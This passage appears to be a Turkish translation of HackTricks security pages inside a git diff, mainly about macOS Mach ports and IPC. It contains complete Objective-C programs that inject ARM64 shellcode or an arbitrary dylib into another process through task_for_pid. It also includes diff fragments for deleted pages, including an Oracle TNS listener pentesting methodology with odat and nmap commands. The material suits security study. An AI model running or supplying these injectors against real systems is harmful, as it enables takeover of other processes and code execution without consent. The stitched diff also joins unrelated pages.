`mach_msg` fonksiyonu, esasen bir sistem çağrısıdır ve Mach mesajlarını göndermek ve almak için kullanılır. Fonksiyon, gönderilecek mesajı ilk argüman olarak gerektirir. Bu mesaj, `mach_msg_header_t` yapısı ile başlamalı ve ardından gerçek mesaj içeriği gelmelidir. Yapı şu şekilde tanımlanmıştır:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
İşlemler _**receive right**_ sahibi olduklarında bir Mach portu üzerinden mesaj alabilirler. Tersine, **gönderenler** _**send**_ veya _**send-once right**_ ile yetkilendirilir. Send-once right, yalnızca tek bir mesaj göndermek için geçerlidir, ardından geçersiz hale gelir.
Kolay bir **iki yönlü iletişim** sağlamak için bir işlem, mesajın **alıcı**'sının bu mesaja **cevap gönderebileceği** _reply port_ (**`msgh_local_port`**) olarak adlandırılan bir **mach portu** belirtebilir. **`msgh_bits`** içindeki bit bayrakları, bu port için bir **send-once** **right**'ın türetilmesi ve aktarılması gerektiğini **göstermek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP]
> Bu tür bir iki yönlü iletişimin, bir yanıt bekleyen XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak **genellikle farklı portlar oluşturulur**; daha önce açıklandığı gibi iki yönlü iletişimi sağlamak için.
Mesaj başlığının diğer alanları şunlardır:
- `msgh_size`: tüm paketin boyutu.
- `msgh_remote_port`: bu mesajın gönderildiği port.
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id`: bu mesajın alıcı tarafından yorumlanan kimliği.
> [!CAUTION]
> **mach mesajlarının bir \_mach portu** üzerinden gönderildiğini unutmayın, bu, mach çekirdeğine entegre edilmiş **tek alıcı**, **birden fazla gönderici** iletişim kanalıdır. **Birden fazla işlem**, bir mach portuna **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **tek bir işlem okuyabilir**.
### Portları Sayma
```bash
lsmp -p <pid>
```
Bu aracı iOS'ta [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) adresinden indirerek kurabilirsiniz.
### Kod örneği
**Gönderenin** bir port **ayırdığını**, `org.darlinghq.example` adı için bir **gönderim hakkı** oluşturduğunu ve bunu **bootstrap sunucusuna** gönderdiğini, gönderenin o adın **gönderim hakkını** talep ettiğini ve bunu bir **mesaj göndermek** için kullandığını not edin.
{{#tabs}}
{{#tab name="receiver.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{{#endtab}}
{{#tab name="sender.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{{#endtab}}
{{#endtabs}}
### Ayrıcalıklı Portlar
- **Host port**: Eğer bir süreç bu port üzerinde **Gönder** ayrıcalığına sahipse, **sistem** hakkında **bilgi** alabilir (örneğin, `host_processor_info`).
- **Host priv port**: Bu port üzerinde **Gönder** hakkına sahip bir süreç, bir çekirdek uzantısını yüklemek gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izni alabilmek için **sürecin root** olması gerekir.
- Ayrıca, **`kext_request`** API'sini çağırmak için yalnızca Apple ikili dosyalarına verilen diğer yetkilere **`com.apple.private.kext*`** sahip olmak gereklidir.
- **Task name port:** _task port_'un ayrıcalıksız bir versiyonudur. Görevi referans alır, ancak onu kontrol etmeye izin vermez. Bunun üzerinden erişilebilen tek şey `task_info()` gibi görünmektedir.
- **Task port** (diğer adıyla kernel port)**:** Bu port üzerinde Gönder izni ile görevi kontrol etmek (belleği okuma/yazma, iş parçacıkları oluşturma...) mümkündür.
- Çağrıcı görev için bu portun **adını almak** için `mach_task_self()` çağrısını yapın. Bu port yalnızca **`exec()`** üzerinden **devralınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev `exec()` sonrası bir suid ikili dosyasında yeni bir görev portu alır). Bir görevi başlatmanın ve portunu almanın tek yolu, `fork()` yaparken ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) gerçekleştirmektir.
- Port erişimi için kısıtlamalar (ikili dosya `AppleMobileFileIntegrity`'den `macos_task_policy`):
- Uygulama **`com.apple.security.get-task-allow` yetkisine** sahipse, **aynı kullanıcıdan** gelen süreçler görev portuna erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** süreci bunu üretim sürümlerine izin vermez.
- **`com.apple.system-task-ports`** yetkisine sahip uygulamalar, çekirdek hariç, **herhangi bir** sürecin **görev portunu** alabilir. Eski sürümlerde buna **`task_for_pid-allow`** denirdi. Bu yalnızca Apple uygulamalarına verilir.
- **Root,** **hardened** çalışma zamanı ile derlenmemiş uygulamaların görev portlarına erişebilir (ve Apple'dan olmayan).
### Görev portu aracılığıyla iş parçacığında Shellcode Enjeksiyonu
Bir shellcode alabilirsiniz:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
{{#tabs}}
{{#tab name="mysleep.m"}}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{{#endtab}}
{{#tab name="entitlements.plist"}}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{{#endtab}}
{{#endtabs}}
**Önceki programı derleyin** ve aynı kullanıcı ile kod enjekte edebilmek için **yetkileri** ekleyin (aksi takdirde **sudo** kullanmanız gerekecek).
<details>
<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Dylib Enjeksiyonu iş parçacığında Görev portu aracılığıyla
macOS'ta **iş parçacıkları**, **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz iş parçacığı, Mach api kullanılarak oluşturuldu, bu nedenle **posix uyumlu değildir**.
Bir komut çalıştırmak için **basit bir shellcode** enjekte etmek mümkündü çünkü **posix** uyumlu apilerle çalışması gerekmiyordu, sadece Mach ile. **Daha karmaşık enjeksiyonlar**, **iş parçacığının** da **posix uyumlu** olmasını gerektirecektir.
Bu nedenle, **iş parçacığını geliştirmek** için **`pthread_create_from_mach_thread`** çağrılmalıdır; bu, **geçerli bir pthread** oluşturacaktır. Ardından, bu yeni pthread **dlopen** çağrısı yaparak sistemden **bir dylib** yükleyebilir, böylece farklı eylemleri gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklemek mümkündür.
**Örnek dylib'leri** (örneğin bir günlük oluşturan ve ardından dinleyebileceğiniz) bulabilirsiniz:
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
<details>
<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Thread Hijacking via Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
Bu teknikte bir sürecin bir thread'i ele geçirilir:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
{{#endref}}
## XPC
### Temel Bilgiler
XPC, macOS tarafından kullanılan çekirdek olan XNU'nun (XNU stands for XNU) süreçler arası iletişim için bir çerçevedir. XPC, sistemdeki farklı süreçler arasında **güvenli, asenkron yöntem çağrıları yapma** mekanizması sağlar. Bu, her bir **bileşenin** işini yapmak için **sadece ihtiyaç duyduğu izinlerle** çalıştığı **ayrılmış ayrıcalıklarla uygulamalar** oluşturulmasına olanak tanıyan Apple'ın güvenlik paradigmasının bir parçasıdır ve böylece tehlikeye atılmış bir süreçten kaynaklanabilecek potansiyel zararı sınırlamaktadır.
Bu **ileşimin nasıl çalıştığı** ve **nasıl savunmasız olabileceği** hakkında daha fazla bilgi için kontrol edin:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
## MIG - Mach Interface Generator
MIG, Mach IPC kodu oluşturma sürecini **basitleştirmek** için oluşturulmuştur. Temelde, belirli bir tanım ile sunucu ve istemcinin iletişim kurması için **gerekli kodu üretir**. Üretilen kod çirkin olsa bile, bir geliştirici sadece onu içe aktarması yeterlidir ve kodu öncekinden çok daha basit olacaktır.
Daha fazla bilgi için kontrol edin:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}
## Referanslar
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
{{#include ../../../../banners/hacktricks-training.md}}

61
src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
View File

@ -1,61 +0,0 @@
# 1521,1522-1529 - Pentesting Oracle TNS Listener
{{#include ../../banners/hacktricks-training.md}}
## Temel Bilgiler
Oracle veritabanı (Oracle DB), Oracle Corporation'dan (buradan) bir ilişkisel veritabanı yönetim sistemidir (RDBMS).
Oracle'ı listelemeye başlarken ilk adım, genellikle varsayılan portta (1521/TCP, -ayrıca 1522–1529'da ikincil dinleyiciler de alabilirsiniz-) bulunan TNS-Dinleyicisi ile konuşmaktır.
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## Özet
1. **Versiyon Numarası Belirleme**: Bilinen güvenlik açıklarını aramak için versiyon bilgilerini belirleyin.
2. **TNS Listener Bruteforce**: İletişimi sağlamak için bazen gereklidir.
3. **SID Adı Belirleme/Bruteforce**: Veritabanı adlarını (SID) keşfedin.
4. **Kimlik Bilgisi Bruteforce**: Keşfedilen SID'ye erişim sağlamaya çalışın.
5. **Kod Çalıştırma**: Sistemde kod çalıştırmaya çalışın.
MSF oracle modüllerini kullanmak için bazı bağımlılıkları yüklemeniz gerekir: [**Kurulum**](oracle-pentesting-requirements-installation.md)
## Gönderiler
Bu gönderilere göz atın:
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## HackTricks Otomatik Komutlar
```
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one.
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for Oracle
Note: |
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
#great oracle enumeration tool
navigate to https://github.com/quentinhardy/odat/releases/
download the latest
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
cd odat-libc2.12-x86_64/
./odat-libc2.12-x86_64 all -s 10.10.10.82
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
{{#include ../../banners/hacktricks-training.md}}

129
src/pentesting-web/web-vulnerabilities-methodology/README.md
View File

@ -1,129 +0,0 @@
# Web Güvenlik Açıkları Metodolojisi
{{#include ../../banners/hacktricks-training.md}}
